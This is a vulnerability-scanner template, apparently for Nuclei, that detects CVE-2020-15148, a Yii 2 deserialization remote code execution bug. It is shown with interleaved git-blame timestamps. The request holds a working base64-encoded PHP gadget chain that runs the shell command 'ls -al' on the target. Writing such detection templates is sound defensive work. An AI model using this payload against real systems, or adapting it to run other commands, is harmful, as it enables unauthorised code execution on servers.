2021-03-29 20:47:04 +00:00
id : CVE-2020-15148
info :
2022-04-22 19:00:59 +00:00
name : Yii 2 < 2.0.38 - Remote Code Execution
2021-03-31 10:05:43 +00:00
author : pikpikcu
2021-09-10 11:26:40 +00:00
severity : critical
2022-05-17 09:18:12 +00:00
description : Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls `unserialize()` on arbitrary user input.
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://blog.csdn.net/xuandao_ahfengren/article/details/111259943
- https://github.com/nosafer/nosafer.github.io/blob/227a05f5eff69d32a027f15d6106c6d735124659/docs/Web%E5%AE%89%E5%85%A8/Yii2/%EF%BC%88CVE-2020-15148%EF%BC%89Yii2%E6%A1%86%E6%9E%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md
2022-05-17 09:18:12 +00:00
- https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99
- https://github.com/yiisoft/yii2/security/advisories/GHSA-699q-wcff-g9mj
remediation : Upgrade to version 2.0.38 or later. A possible workaround without upgrading is available in the linked advisory.
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2022-05-17 09:18:12 +00:00
cvss-score : 10
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-15148
cwe-id : CWE-502
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:yiiframework:yii:*:*:*:*:*:*:*:*
epss-score : 0.01843
2022-04-21 21:16:41 +00:00
tags : cve,cve2020,rce,yii
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2021-03-29 20:47:04 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-29 20:47:04 +00:00
- method : GET
path :
2021-04-01 09:01:34 +00:00
- "{{BaseURL}}/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ=="
2021-03-29 20:47:04 +00:00
matchers-condition : and
matchers :
- type : word
words :
2021-04-01 09:01:34 +00:00
- "total"
2022-04-22 19:00:59 +00:00
- "An internal server error occurred."
2021-03-29 20:47:04 +00:00
condition : and
- type : status
status :
2021-04-01 09:01:34 +00:00
- 500
2022-04-21 21:16:41 +00:00
2022-04-29 19:58:07 +00:00
# Enhanced by mp on 2022/04/27